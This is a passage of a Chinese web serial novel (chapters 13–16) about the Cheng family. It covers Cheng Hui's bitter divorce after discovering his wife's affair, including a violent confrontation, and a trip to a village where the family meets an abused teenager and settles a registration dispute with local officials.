“这是其一,要是弄得人尽皆知,大伯娘肯定脸上无光;第二个,是大伯娘想把这个儿媳妇给换了,她不能让人抓小辫子,落人口实就不好了。”
覃玉芬高兴的蹦起来:“真的?”
程大山放轻声:“程晙说的,千真万确。”
“大伯娘不是说:儿孙自有儿孙福,她才不管那么多?”
“那是做给程晖看的。”
覃玉芬捂着嘴,叽叽叽地笑出来。
程大山揉上她的发:“这么高兴?”
覃玉芬点头:“要是离了,我更高兴。看着她们家得报应,覃家村都要拍手叫好。”
“好,那我们就坐等好消息。”
覃厉敏无功而返,她突然发现,如果没了她爸,没了程晖依傍,她自己什么都不是。
这边,覃厉敏焦虑到,吃不下也睡不着。
那边,程晖带着程明澄找幼儿园,才几天
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就觉得自己累瘦一圈。
程向前劝他:“你差不多得了,幼儿园不就吃喝玩乐,它再好,还能教出个天才不成?”
程晖很头铁:“三岁定八十,环境很重要。”
程明澄翻年就四岁了,还三岁定八十,程向前都懒怠说他。
而且,三岁定八十,指的是胎教和幼教,根源全在父母身上。程晖倒好,巴巴攀着外缘,自己当爹的倒是不修。
陶枝拉过老头子:“随他去,难得他上心。”
“我就是不想看见他闲着。”
“他闲不了太久的,还有事没解决呢。”
程向前秒懂:“行吧,那先放他一码。”
程曼转学办好了,去的市重点高中,进度和教材都不一样。天天压力大得很,脾气是一点就爆,所以家里人都不去惹她。
程晙就像蒲公英,去到哪,哪就能落地生根。这不,看上了户外摄影的空白,和于思飞鼓捣影楼去了。
程星被陶枝送去学会计了,让她学一学,很多事都要计算成本与回报的,不能光一味的付出,不然被人卖了,还要帮人数钱。
所以家里就剩下程晖两父子,陶枝老两口,和小今禾这个奶娃娃,不怪程向前看他不顺眼。
陶枝说:“你要是闲不住,就先回去厂里。你也看到了,我们在这都挺好。”
程向前想了一下:“也行,我先回去,周末再来。”
“叫程晙送你。”
“不用了,麻烦。”
“趁他现在不忙,能使唤就使唤,等到他生意做大,你想见他一面都难。”
程向前被说服了,“那就听你的。”
然而老头子一说要回去,程晖说他也跟着一道。
陶枝问他:“那明明上学怎么办?”
“我带着回去,让他跟着张老师,上完这个学期再看。”
陶枝无可无不可:“随你。”
结果就是,程晙把祖孙三代都送回去,然后他再掉头回市里,并且还开心得不得了。
只有小儿子性格最像他,程向前如是想。
一切恢复正常,程向前和程晖,又扑哧扑哧上班挣钱。
等到周末,程明澄跟着爷爷去市里,程晖则整理好心情,再一次去了覃家村。
覃家冷冷清清的,只有母女两人在家,覃大宝一如既往的,不知道跑哪里去了。
覃厉敏一见程晖,开口就是骂:“你在外面玩够了,终于舍得回来了?”
原本程晖听这种话,没有任何的歧义。但是知道了她的过往后,总感觉她话里一点也不单纯。
程晖皱起眉头:“你瞎说什么呢?”
覃厉敏越想越气:“难道不是狐狸精缠住你了?不然好端端的,你怎么有家不回?”
程晖瞪大眼睛:“我爸妈搬家,你又不是不知道。我去新家认个门,你都那么大反应,难道做了什么亏心事?退一万步来说,那也是我的家。”
“但那不是我的家。”
“对,娘家才是你的家。至始至终,你就没把我爸我妈,当作你家人看待过。”程晖吼道。
“你放屁,我一进门就改口,爸妈都叫好几年了。”
“说白了,你就是为了改口费。”
覃厉敏一巴掌过去:“你别血口喷人。”
13. 第 13 章
程晖避让不开,生生受了这一掌。
他摸着自己的脸,望着眼前这个女人,实在是烦透了她的作派。
程晖的声音像淬了冰:“我才出口一句,你就说我污蔑。你自己做过的那些事,倒是瞒得密不透风。倒打一耙这个词,你用得可谓顺手至极。”
“我瞒你什么了?”
“你自己心里清楚。”
“我没做过,我不清楚。”
程晖直直看着她。
覃厉敏迎上他的目光,丝毫不肯退让。
程晖冷笑连连,他还期望什么呢?有些人就是冥顽不灵,死到临头都不知悔改。
有些人是无知者无畏,有些人则是死不认罪,也不知覃厉敏算哪一类?
他缓缓吐出几个字:“上周,屋后巷。”
覃厉敏的脸色唰一下白了,她好像被抽干了血一般,半点血色都不存。
程晖问:“你还有什么话好说?”
覃厉敏浑身像被卸了力,浑身软倒瘫坐在地上。她颤抖着双唇,半天说不出一个字。
她断线的泪珠,滚滚而下,跌落在泥地,砸出好几个小坑。
可惜,此等苦肉计程晖无用,他对她,升不起半丝同情。
“如果你非要这样,要么这里敞开了说,要么回去关起门谈,你自己选。”程晖不想再多看她一眼。
覃厉敏起身,拍拍屁股,自己先扭头进了屋。
程晖跟进其后,关上门,隔绝了其他墙头上的视线。
覃老太本来在堂屋,看他们的气氛不对,识趣的避去自己的房间。
覃厉敏也知道,程晖不可能再进她房,于是两人都在堂屋落座。
覃厉敏先开口:“我都是被迫的。”
“包括婚后?”
程晖只觉心口滚烫,燃着无尽的怒火,如火山般即将爆发。
他怒目而视:“覃厉敏,我待你不薄,我对你们覃家也厚待。要钱给钱,要物给物,说句难听的,你养条哈巴狗,说不定都没我听话。”
“你们呢,是怎么对我的?你又是怎么对我爸妈的?就凭我们家这些年的付出,就算养只畜生,说不定心都能给捂热了。可你们呢,心是石头做的吧?除了冷冰冰的金钱,感情在你们眼里算个屁!”
“要不然,也做不出这么恶心人的事,你说对还是不对?”
程晖直勾勾盯着她,不错过她的一丝表情。
但是他失望的低下了头。
“说这么多,你想怎样?”覃厉敏不想被审判,一切都是她爸造成的,她自己也是被逼的,她能有什么错?
“离婚吧,明明归我。”
覃厉敏跳起来:“你想得美,我十月怀胎生下来的,你别想把我儿子带走。”
程晖很冷静:“那你是同意离婚了?”
“凭什么?我也是受害者。”
“你发誓?”
“我发誓,你就信?”
“不信。”
“你这在玩我呢?”
“我只是想看看,一个人不知廉耻的时候,可以没脸没皮到什么程度?”
覃厉敏第一次知道,程晖的嘴皮子,原来可以这么溜。
“你激我也没用,我对得起你程晖。”
“那你要怎样才肯离婚?”
“很简单,给我十万。”
“你别狮子大开口,没钱。”
“我又不瞎,我亲眼看到你妈去银行取的钱。”
“我妈的钱,和我没关系。”
覃厉敏讥笑他:“也就你这么迂腐,谁家钱不是留给儿孙?怎么,你还想当个好大哥?”
“说来说去,你就是为了钱。”
“不然呢?就你这三棍子打不出一个屁,哪个和你生活不嫌闷得慌?”
“难为你天天装贤妻,看来你真是辛苦了。”
“你不用冷嘲热讽的,反正我的条件摆在这。”
“我说了,我没钱。”
“没钱就继续过呗,反正我也没什么损失。”
程晖感觉像生咽了一只苍蝇般难受。
“明明跟我?”
“这点没得谈,我生的,我带走,你给抚养费就好。”
程晖冷笑连连:“就你?还你带?你有半点为人母的样子吗?”
“那是我的亲儿子。”
程晖的双眸,不知何时染上猩红,他一把掐住覃厉敏的脖子,咬牙切齿道:“所以,你当着你亲儿子的面,和别人在家里翻云覆雨?在我的房子,在我的床上,行苟且之事?”
覃厉敏吓得魂飞魄散,程晖怎么会知道这事?当时全家都去喝喜酒了,就只有她和儿子在家,那个人还是等同事全都走了,慢腾腾留到最后才上楼的。
当时暮色苍茫,为着避人眼目,他们连灯都没有开。
只是欢愉之际,她一时没忍住,行为比较放肆,把儿子给引来了。
可是她反应也快,明明推开门的时候,他们两个的身上,被子盖得严严实实,没有露出一丝春光。
明明问:“妈妈,你怎么了?”
覃厉敏还镇定地说:“叔叔给妈妈打针,一下子有点痛,妈妈没有忍住。”
“那明明给妈妈呼呼。”儿子说完就想爬上床。
覃厉敏哄他:“要等打完才可以哦。明明先去客厅,等一下再呼呼,好不好?”
明明想了想:“那妈妈答应我,如果很痛的话,记得要叫明明哦。”
覃厉敏只想他快点走:“会的,会的。”
等到明明的脚步声走远,两个人也草草结束了。约好在村办公室见面,那个人就偷偷地回去了。
她上周说的没算,村办公室是她的祸地,但也是她的快乐之源,她遇上了她的意中人。她爸一力想把她推入火坑,偏偏有护花使者救了她,她心甘情愿交出自己的身心。
所以,她对覃老头的感情很复杂,是爱是恨,她自己都分不清。
说到底,如果不是对方家里穷,不敢上门提亲,哪里还有程晖什么事?
如果这次操作得好,她能拿到离婚赔偿的话,他们俩就能比翼双飞了。
之前都是她回覃家村,然后在他家蜜里调油,互诉衷肠倾尽情思,总是能把滋润得她容光焕发。
千算万算,在家里就那一次,还是因
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为她许久没回村,两人每次只能见不能碰,那人忍得慌了才铤而走险,没想到竟被程晖知道了。
覃厉敏的脸憋得通红,她用尽全力去拍打,兼拼命去扯程晖的手,还努力低头去咬去啃,用一切办法想让他松开。
但程晖好似神魂未归,他逐渐失去理智,只不停加大手上的力道,他脑子里只有一句:“一次解决,一了百了。”
覃老太被重物坠地的声音吓到,她担心两人一言不合打起来,隧跑出来看。
这一眼,差点把她吓死,覃厉敏嘴唇发紫,都已经在翻白眼了。她一时想不出什么好办法,就跑过去圈上程晖的脖子,使劲地勒着他的喉咙。因为她力气实在小,不得不用头顶着程晖的头,才能更好地借力和发力。
不得不说,也是覃厉敏命不该绝。覃老太误打误撞,直接压到了程晖的颈动脉,短短的十来秒,他因大脑缺氧而晕厥过去。
覃老太累得不轻,她把程晖推到一边,直接坐到了地上。歇了一会儿,她手脚并用爬过去,摸摸女儿的头和脸,再探了探女儿的鼻子,万幸,还有呼吸。她这才放松下来,靠着桌子腿大喘气。
覃厉敏先醒过来,她捂着脖子直咳嗽,覃老太给她倒了杯水,叫她不要急,慢慢喝。
覃厉敏的喉咙阵阵刺痛,她就是想大口喝也做不到啊。好不容易咽了几口水,她去房里摸出镜子,照看到自己脖子上,那很明显的手指掐痕。
她刚刚死里逃生,被吓出一身冷汗,程晖是真想要她的命。
她要是早知道,程晖会因为她偷欢,而一心想要了结她,她说什么也不敢玩火自焚。
覃厉敏这下歇菜了,她不敢赌程晖知道多少,也不敢再多提要求,只想早早离了算数。毕竟,钱再重要,如果没命花,要来又有什么用。
过不多久,程晖也悠悠醒转,他晃了晃脑袋,一时没分清这是哪。
覃老太和覃厉敏都离他远远的。
程晖回过神,他想起刚才那一幕幕,庆幸自己没酿成大祸,不然陶女士能先把他打死。
自他找人查到的资料,当然这是学陶女士的。只能说,覃厉敏也是个苦命人,她的亲朋好友,要么想把她卖个好价钱,要么想从她身上捞好处,除了一个覃老太,没一个真心待她。那个所谓的真命天子,呵呵,程晖的嘴角不禁扬起一抹冷笑。
这种不正当的关系,没几个男人能忍住,总会和三两好兄弟吹嘘。几杯黄汤下肚,就能把他嘴巴撬开,关于覃厉敏的事,他倒了个一干二净。
人穷都是有道理的。一个女人为他掏心掏肺,那男人不珍惜不说,还当作谈资到处去炫耀。
退一万步说,一个家里有工厂,另一个是普通工人。哦对了,回去程晖就炒了他,明天开始连工人都不是。要说覃厉敏精明嘛,她选了这么一个人。但要说她愚笨吧,她还知道捞程家的钱。
程家对她这么好,钱和权都放给她,覃厉敏尚且不珍惜,天天作威作福,得罪全家人不说,还总把事情给做绝。都说做人留一线,看她如此行事,只能说她病得不轻。
既然爱情价更高,程晖决定成全他们,并且打算助她一臂之力。
14. 第 14 章
覃老太除了宠溺孩子,因为也不给机会她管教,除此之外没大的错处。按这一家人来说,她的三观还算端正,起码不主动害人,也不懂得去算计人。在覃家的事上,她就是个提线木偶,人家说什么就动一动。这是老式妇女的通病,出嫁后以夫为天,完全没有自己的思想。
程晖一直觉得她可怜,刚才的事也多亏她。虽说是阴差阳错,也算是间接救了他,那么好的机会,也没有动手脚伤害他。
差不太多的年纪,陶女士活得有滋有味。而这位丈母娘,犹如一段枯朽的腐木,死气沉沉的,看不到一丝生机。
覃大宝靠不住,这是有目共睹的。
所以程晖想要帮她,让她的晚年生活,尽量过得快乐一些。
得亏陶枝没在这,不然非得骂他:咸吃萝卜淡操心。
他脑子里不停在思索,脸色看起来有点沉郁,以至于完全没人打扰他。
但是,他发现自己可能办不了,要妥善安置一个人,还是一个毫无血缘关系,而且也即将不是亲戚的人,那简直是痴人说梦。
他想不出好办法,只能到家后再讨教。当今之际,是要先解决了离婚事宜。
他转向覃厉敏,问:“还离不离?”
覃厉敏心有余悸,“不离,难道等你弄死我?”
程晖冷笑连连,一点也不否认:“不排除这种可能。遇到这种事,是个男人他都忍不了。”
覃厉敏又气又怕,“赶快离,立刻离,现在就离。”
程晖拦住她:“怎么?有人等不及了?”
“我有什么等不了的?”覃厉敏从鼻子里哼气。
“我指的不是你。”程晖慢条斯理的说。
覃厉敏的心跳差点停摆,程晖果然知道“他”是谁。
她也不敢拿乔了,能拿一点是一点。她立时摆明车马:“儿子可以给你,你付我一笔赡养费。”
程晖似笑非笑的,也不说话,就这样安静看着她。
这已经是她的底线了,本来还想把着儿子,时不时借儿子的名头弄点钱。
但现在看来,儿子是程晖的软肋,他怕是不会轻易放手的。
那她就退而求其次,一次性买断这些年的情分,以后就当没生过这个儿子。
夫妻几年,程晖也听懂了她的言下之意,他本来没想做这么绝的。
好说歹说,那也是儿子的妈,他愿意给人家托底,可惜人家不领这个情。
思考良久,程晖忽尔笑了,回了一个字:“好。”
他这么爽快,覃厉敏反而生疑:“你有什么条件?”
“我的条件?”程晖讥讽地说:“我想你回归家庭,当个贤妻良母,一起抚养明明长大。问题是,你行吗?”
覃厉敏被他话里的轻蔑给气到了:“是,我不行。我还希望老公顶天立地,是个有一说一的大丈夫,而不是躲在爸妈身后当软脚虾,你又做得到吗?”
程晖痛快承认:“我做不到。端起碗吃饭,放下碗骂娘,我没受过这种家教。”
覃厉敏简直不敢相信,眼前这个字字嘲讽的,还是她那唯唯诺诺的丈夫吗?
但又那如何,很快就要没关系了。
她谨慎发问:“你给我多少?”
“你想要多少?”
覃厉敏试探:“十万。”
程晖也不问她为何执着十万了,他问:“现金?”
覃厉敏狂喜:“现金也行,存折也好。”
程晖想着好聚好散,早点结束这场闹剧,儿子受到的伤害就越小。
“我有个条件。”程晖说。
覃厉敏警惕得看着他。
“这笔钱,你分你妈一半。”
“程晖,这是给我的,你搞搞清楚。如果要再给我妈,你愿意就多掏一点。”
程晖很失望:“那是你亲妈,你都不乐意?”
覃厉敏不耐烦:“程晖,这是我们家的事,你管得未免有点宽。”
程晖也生气:“现在就去民政局。”
他们先去的银行,程晖取出十万块,给覃厉敏开了一张存折。
覃厉敏笑成一朵花,这是她人生中,第一张自己的存折,第一笔完完全全,属于她自己一个人的钱。
她摸着存折,爱不释手,满眼都是爱意。
程晖冷眼旁观,她看丈夫儿子,说不定都没这么虔诚。
到了民政局,程晖说什么,她就签什么,一切都配合得很。
没等太长时间,崭新的离婚证,分别到了两人的手上。
程晖本着最后的良心:“看好你的存折,别让太多人知道你有钱。”
覃厉敏难得没有口出恶言:“我又不是你。”
“明明找你怎么办?”
“你想办法吧,他总要习惯的。”
“好,好,好,你好得很。”程晖扔下这句话,大步流星地走了。
他怕自己忍不住,在这种人面前掉眼泪。他为明明感到痛心,摊上了这么一个妈。
他之前没有骗覃厉敏,为了儿子,他真的想她回归家庭,他可以当一切都没发生,就为了让明明平安长大成人。
他们两个,是经人介绍,相亲认识才结的婚。婚后也是很平淡,他相敬如宾,人家相敬如冰。当时还以为人家害羞,现在才知道是懒得作戏。
他们的感情基础为零,所以要说他有多难过,那真不至于,愤怒基本占据了所有的情绪。
遗憾的是,他愿意忍耐,覃厉敏不愿意。
程明澄注定要在一个破碎的家庭长大。
一想到这,程晖就心如刀割。
他冲去汽车站,买了最近的票,恨不得立马飞到儿子身边。
在车上熬了三个小时,到市里已经是夜晚了。
他回到家,陶枝正在一楼看书,看到他,又看看墙上的挂钟,“你怎么这个点来了?”
听听,这是亲妈说的话,程晖顿时不感到悲伤了。
“妈,我这是回家。”
陶枝改口很快:“哦,你怎么这个点回来了?”
程晖在老妈对面坐下,端起茶杯灌了一杯水。
他放下杯子:“妈,我离婚了。”
陶枝放下手里的书,后背离开沙发坐直了,“什么时候的事?”
“就今天。妈,你不会怪我吧?”
“我怪你什么?”
“怪我自作主张,这么大件事,连个招呼都不打。”
“既然你知道,那你为什么还去做?”
程晖哑口无言,半响才找回自己的声音:“您不是说,决定了的事,就要去做吗?”
陶枝点头:“是我说的。”
“那我没做错,妈您不能怪我。”
“你是被程晙附身了
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吗?”
“啊?”
“你今天废话有点多。”陶枝毫不客气地说。
“我有点不知所措。”
陶枝都惊到了:“你突然扔下一个重磅消息,不知所措的难道不应该是我吗?”
程晖不好意思:“妈,对不起,。”
“你到底想说什么?”
“我和她离婚给了十万块,协议上也写了,以后明明就留在咱家。”程晖一口气说完。
“就这点事?”
程晖也愣了:“这事还小啊?”
“程星比你先离,我已经有经验了,没什么好惊讶的。”
“可是程星没掏钱,我可是分了一半出去。”
“那是你心甘情愿给的不?”
“这点气魄我还是有的。”
“那不就成了?你给出去的,是你自己的钱。你都不心疼,我更不会有意见了。”
程晖总感觉不对,但是他又说不上来。
总之他懊恼又自责的心情,就这么被陶女主,插科打诨给糊弄过去了。
等他上楼去见到明明,亲一口熟睡中,他儿子可爱的小脸蛋,程晖也心满意足地去洗漱了。
关于覃家人,已经被他抛在了脑后。
反倒是陶枝,一改刚才淡定的模样,上楼去房里找老头子。
她敲门进屋:“老头子,程晖离婚了。”
程向前抖了抖报纸,叠起来放到床头柜,他坐起来说:“你怎么知道?”
“他刚回来了,亲口告诉我的。”
程向前看看表:“哟这孩子,坐夜车回来的。”
“可不是。”
“那他心情怎么样?”
“一进门的时候,皱成一张苦瓜脸。后来说了几句,不知他想到了什么,表情看起来倒是纾解了。”
“他有说遇到什么事吗?”
“他就说离婚分出去十万,然后明明就留给我们了。”
程向前一拍大腿:“这好事啊。”
“我也是这么想的。他在感情上都没开窍,太早结婚反倒害了他,现在有了明明在,他可以名正言顺的,等明明大一点再找。”
程向前叹气:“程星也是,吃尽了苦头。”
陶枝握着他的手:“我们吸取教训,小的那两个,叫他们晚点再谈。”
程向前笑了:“倒也不用,缘分来了,挡也挡不住。”
“谈恋爱没关系,结婚还是可以晚一点。”
“对,就像我,老大难了才结婚。”
陶枝瞪他:“我可是二十就嫁你了。”
程向前轻拍她的手:“这不是怕你跑了吗?当年我都二十八了。我妈好不容易相中的你,她说娶进门的才是儿媳妇。”
陶枝泪盈于睫:“妈可真有智慧。”
程向前点头:“你看你们三妯娌,还有几个妹夫,有钱没钱另说,起码人品上很过关,而且我们家庭多和乐。”
“可惜我没学到她一星半点。”
程向前哼哼:“妈亲自找的长媳,你都不知道,她对你有多满意。有时候我都怀疑,你才是她亲生的。”
陶枝破涕而笑:“你不是说,都是因为怕我跑了?”
“娃娃都生了,你能跑到哪去?妈就是重女轻男,有你她万事足,儿子都不需要了。”
陶枝被逗得哈哈大笑。
15. 第 15 章
陶枝一觉睡醒,这才回过神来,无意间被老头子转移话题。
她会心一笑,领了这份好意。
早上,两个儿童餐椅里,今禾和明明排排坐。明明看见程晖,显得特别高兴:“爸爸你也来了。”
程晖弹他脑门:“爸爸这叫回家。”
明明用小手捂着脑袋,笑得眼睛都眯了起来。
陶枝见到这父子俩,才想起忘了什么:“今禾的户口,现在在哪?”
程星也傻眼:“还在赵家呢,忘记去迁了。”
陶枝按着太阳穴,“怎么把这么重要的事给忘了?”
程向前安慰她:“当时太忙乱了,情急之下,不记得也是正常的。”
陶枝对程星说:“明天是周一,你去请个假,跑一趟村里把这事给办了。”
“妈,你陪我去吗?”
程晙插话:“妈,去吧,我开车送你们。”
陶枝瞥他:“你有这么好心?”
程晙冤枉:“我本来就准备送程星。”
“那也行吧,我帮忙带今禾。”
程向前发话了:“那今天你就别送我了,养好精神,明天一定要好好开车。”
程晙把视线转向陶枝。
陶枝思索了一会儿,颔首认同老头子的话:“就这么办。”
下午,老头子要回转,饭后他就拉着陶枝说话。
陶枝问:“程晖的事,你怎么看?”
“离都离了,还能有什么想法?”
“不心疼钱?”
“钱没了还可以再挣,子孙要是没教好,那才是一辈子的大事。”
陶枝拍拍老头子:“还是你懂我。”
程向前接着说:“照我看,厉敏守不住这笔钱,你应该防备的是这个。”
“难不成她还能找上门来?”
“找上门来反倒不怕,就怕程晖心软回头。”
陶枝斩钉截铁:“我生的儿子,才没有那么傻。”
程向前就笑笑,端起茶来慢慢品。
陶枝仔细回想,十分肯定的说:“真的,程晖现在变了,开始有想法有主见了,虽然不知道发生了什么事。”
“你都不清楚的事,我更不会知道了,他有事也不和我说。”
“那是,知儿莫若母。”
想到这,她一半心疼,一半不甘地问:“你说,程晖到底像谁?”
程向前回她:“像我爸。”
陶枝想想公公的脾性,再想到婆婆的作派,果然是一脉相传。行,她彻底死心了。
“那照你说,以防万一,该怎么办?”
“很简单,把他拘在市里,不让他回去就是了。”
“那他的工作?”
“厂里有他没他都一样。”
陶枝诧异地看着老头子。
程向前连忙解释:“我不是在贬低他,我说的这是事实。机械这一行,程晖不适合,所以我想,趁着这个机会,干脆让他另起炉灶。”
“就跟程晙一样?”
说到小儿子,老头子也满是笑意:“程晙那脑瓜子,当真好使,比你和我都强。”
他顿了顿:“我是这样想的,我打算提个人做经理,让他去管厂里的大小事情,现在工厂已经上了轨道,不需要再时刻去盯着,我自己也能休息休息。”
“你才五十多,就想退休了?”
程向前生气了:“陶枝,我已经退休了。”
陶枝陪笑道:“程哥你辛苦,是时候退下来,含饴弄孙了。”
“我正有此意。”
陶枝哄过一句就算,老夫老妻不耍花枪:“随便你。说回程晖。他那点钱,够创业吗?”
“你要不问问程晙,他多少钱开始的?”
陶枝讪讪:“我这不是不懂嘛?”
“大有大做,小有小做。只要找到门路,没钱一样能白手起家。”
“你帮他?”
“先让他闯一闯,天天困在厂里,又不出去交际,人都要变傻了。”
陶枝斜他一眼:“还以为你不想管他呢。”
“这什么话?再怎么说,他也是我儿子。”
陶枝很想说上辈子,但是现在剧情已截然不同,还是尽量过好当下吧。
“行,我先和他聊一聊。”
老头子自己坐车回县城了。
陶枝叫上程晖:“走,去给明明找学校。”
程晖很奇怪:“不等这个学期结束吗?”
陶枝瞪他:“干嘛要等?来回跑你不嫌累,也别折腾我孙子。”
“怪不得我爸不等我。”程晖嘟囔道。
陶枝扬起手啪啪啪给了他几巴掌。
程晖疼得嗷嗷叫,“妈,你干嘛打我?”
“我想打你很久了。”
程晖是真委屈,“妈,我都这么大了。”
“对,光长年龄,不长心智,看到我就来气。”
他揉着肩背,火辣辣的疼,不敢吱声,真是吃人的嘴短。
陶枝掉头往门外走,“跟上。”
程晖跟着老妈,走了大半天,就把幼儿园敲定了。
只要不用程晖做决定,他一向适应得快且好。
陶枝还以为他立起来了,结果还是跟着拾人牙慧,问他什么都只会好好好。把陶枝气得够呛,回程路上,连个眼神都不想给他。
晚上,程晙来敲门。
“妈,大哥是不是离了?”
“鬼精灵,就知道瞒不过你。”
“那他有什么打算?”
陶枝气不打一出来,“等到他会盘算,说不定我都入土为安了。”
“呸呸呸,妈,你快吐口水,这种话可不能乱说。”
“你哥这拖拉的性子,我看得都替他着急。”
“妈,别急,我有门路。”
“展开说说?”
“最近我老在外面跑,遇到一些建材啊,装饰材料,家具家私城,都会进去看一看。然后我发现,做胶合板,大有可为。”
“您出去逛应该能看到,好多地方都在建楼房,目前是酒店,商场居多,之后肯定有住房。因为现在绝大部分人,还是一门心思要进城,那么房子的需求量就会增加。可以预见,房地产行业,即将迎来属于它的春天。”
“而胶合板,不仅可以做建材,还可以拿来装修,或者用来做家具。妈,随着房地产的苏醒和腾飞,您想想,这个市场有多大?”
陶枝被程晙说得热血沸腾,因为程晙真的预见了,国家接下来的发展
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计划,我们成为了当之无愧的基建狂魔。随后的二十多年,搞房地产相关的行业,只要自己不作死,不为一己贪欲去加杠杆,基本上都赚得盆满钵满。
陶枝为小儿子感到自豪,怪不得老头子最疼他。
她问程晙:“需要的资金多吗?”
程晙挠头:“我连零头都拿不出来。”
陶枝又喜又悲,她自己也有感觉,要办个这样的厂子,需要的资金恐怕不是小数目。
“儿啊,谢谢你,等我和你爸商量商量。对了,你的影楼生意怎么样?”
程晙嘿嘿一笑:“我们打出名堂了,好多人都慕名而来,现在就是严重缺人手。但好的摄影师难找,于思飞都叫我去报名学拍照。”
陶枝替他开心,“好好干,说不定以后养老,我和你爸就得靠你了。”
程晙拍着胸脯说:“没问题,我努力赚钱,让您一直有钱花。”
这话成功取悦了陶枝,她一晚上都乐滋滋的,连梦的颜色都是粉色的。
第二天早起,程晙拉着陶枝、程星和今禾,神清气爽开去赵钧老家。
开了一半,开始驶进泥土路,路面颠簸摇晃,大家都没了精神。
在一个三岔口,程晙再次问程星:“走哪边?”
程星左看右看,怎么都拿不了主意。
她无辜的看着程晙,程晙深呼吸几下,把火气往下压,“你就算点兵点将,也给我指一条路出来。”
程星看向老妈,陶枝说:“看我也没用,我都没去过他家。”
她只好逼自己回想,可是越着急,她就越想不起来。远远看到有人在放牛,她赶紧下车跑过去,“诶,小弟弟,赵家村怎么走?”
放牛的小伙子抬起头,俊眉星目,程星被美到晃了神。
他扯着牛停下,仔细问她:“哪一个赵家村?”
程星很不好意思:“村口有颗百年榕树的。”
“那是左边那条路,直走十多里就到了。”
“谢谢你啊。”程星诚挚道谢。
“赵二狗,我叫你放牛,你在这偷懒,你今天又不想吃饭了?”一位壮硕的妇女,气势冲冲地走过来,上手就拧小伙子的耳朵。
程星定睛一看,这才发现,小伙子瘦得像根柴火棍,脸颊都快凹进去了,好在眉眼保留了帅气。
赵二狗掰开妇女的手,快速抽身离她远远的,他站定了冷冷看着她:“如果我吃不上饭,那你儿子也别想吃。”
“兔崽子。”妇女还想冲过去。
赵二狗拔腿就跑,连牛都不顾了。
妇女抓起土疙瘩,冲对他的后背就扔,有几个果真砸到人了。
程星看不下去,拦住她,“你干嘛打人?”
程星身穿连衣裙,脚上踩着小皮鞋,头上还戴着发箍,唇红齿白,干干净净的,一看就是城里人。
妇女倒是不敢造次,她看看程星,再望望赵二狗,恶狠狠瞪她一眼就走了。
程星半天摸不着头脑。程晙看她一直没回来,干脆下车过来找她,正好碰到妇女瞪程星。
程晙问:“怎么了?”
“那个阿姨欺负他。”程星指着赵二狗说。
程晙不禁扶额,他姐这该死的善心,总是发得不是时候。
16. 第 16 章
程星跟程晙比划:“这么大一块石头,咻一下就砸过去了。要是扔得再准一点,他恐怕连小命都保不住。”
程晙叹气,把赵二狗招过来,问:“刚才那是谁?”
赵二狗饱含戒心地盯着他。
程晙指指程星,“这我姐。”
再指向他那皮卡:“那是我的车,车里有我妈,我的外甥女,我们不是坏人。”
赵二狗抿着嘴,直至看到车子,两眼仿佛冒精光。他一脸心驰神往:“哥,你真厉害。”
程晙难得脸红了一霎。
“你喜欢车?想不想去看看?”程晙引诱他。
“可以吗?”赵二狗很惊喜。
“小意思。”程晙把他带到车旁,让他近距离观摩。
程晙拍拍车架:“你尽管上手,摸不坏。”
赵二狗还挺有礼貌,看到陶枝先问声好,双手在衣服上擦了擦,才去触碰车子。
程晙把车门都打开,方便他观看内部构造。
赵二狗还想爬到车底下,吓得程晙连忙拉住他。
半晌,赵二狗直起身说:“哥,你的车是这个。”他竖起了大拇指。
程晙很纳闷,穿得破破烂烂的,看起来也营养不良,却好像挺懂的样子,“你懂车?”
赵二狗呲着个大牙:“学过一点汽修。”
程晙明白了,“那你现在是?”
“后妈不让读了,说我光吃不干活,尽会浪费粮食。”
程晙想了想,“你的牛听话吗?”
赵二狗看着不远处,在悠然吃青草的牛,“大黑很乖。”
“如果你放心的话,我带你兜一圈,回来我再把你放下。”
赵二狗跳起来:“放心,放心。”他去把牛拴到大树上,再滴溜溜跑到草房前,应该是叫谁帮忙看着牛。
陶枝喟叹:“年轻就是好啊。”
程晙迅速接上:“妈,您并不老。”
陶枝笑着点点他。
赵二狗忙完这一切,程晙叫他坐上副驾。
一路上,赵二狗就被探了底。
据他自己说的,二狗是小时的贱名,他的大名叫赵子浩,今年十六岁半。他本该上高中的,结果妈妈去世后,后娘一进门,他连学费都拿不到。不得已辍学之后,他去市里找工作,经同村介绍,进了汽修厂当学徒工。学徒工包吃住,但是没有工资。
因此他没有钱拿回去,后娘看他更不顺眼,摔摔打打还是轻的,有时候甚至拿棍子打。他正是长身体的时候,经常吃不饱,力气自然不够后娘大。而且,如果他敢还手的话,他爸下场会打得他更惨。
赵子浩不是没去找过人,他的堂大伯还是村长,每次他爸和后娘,都答应得好好的,转头一关起门来,混合双打得更厉害。汽修厂一放假,他就没地方去,暂时只能先忍着。有时候揍两顿后娘生的,心里稍微好过一些。
就今天程星看到的,已经是程度轻的了。
程晙把他裤脚提起来,果然看到他小腿上,一道道的红印纠缠交错。
程星同仇敌忾:“你这后娘真坏。”
程晙一边打着方向盘,一边和他姐说:“那也是他爸纵出来的。”
“你说得对,他爸才是罪魁祸首。”
程晙用余光瞄到,赵子浩很不自在的样子,他果断转移了话题。
“你也是赵家村的吗?”
“是的。”
程晙惊讶了:“你怎么跑这么远来放牛?”
“我们家住村尾,离这里不算远。”
“那你叫我们再走十里地?”
赵子浩憨笑:“我猜你们应该是去村委会。”
程星惊讶:“哇,你这都能猜出来?”
“因为村里人我们都认识,没有哪家亲戚有小车的,不然早显摆得全村都知道了。”
程晙闻言,心底暗暗点头。
可能现在正是农忙,村里看不到几个闲人,车子很顺利的开进村,径直开到村委会楼前前的空地上。
赵子浩对程晙说:“哥,我帮你们去叫人。”
程晙和程星跟在他身后,一起进了村委的办公室。
陶枝抱着小今禾,在田间小路溜达。她呼吸着新鲜空气,看着绿油油的稻田,心旷神怡,舒泰极了。
没有等太久,程星他们就出来了。
程晙率先上车,等到都坐稳后,陶枝才问:“办完了?”
程晙吐了一口气才回答:“办好了,这次多亏有小赵。”
“出什么变故了?”
“我刚把户口接收证明拿出来,人家就说这样不合规矩,要求必须拿户口本才行。说话的是赵钧他堂哥,应该是赵钧搞的鬼,想拿捏今禾的户口,好让我们大出血。”
“那你给钱了吗?”
“我准备掏钱的时候,小赵把我给拦住了。他拉着村长到一旁,就是他的堂大伯,跟他说了几句话。村长再和那个人说,最终同意了八百块签字。”
陶枝很好奇:“小赵,你说什么了?”
“我告诉大伯,晙哥是我老板,如果大家能帮忙,我老板愿意私下里,每人补贴五百块。”
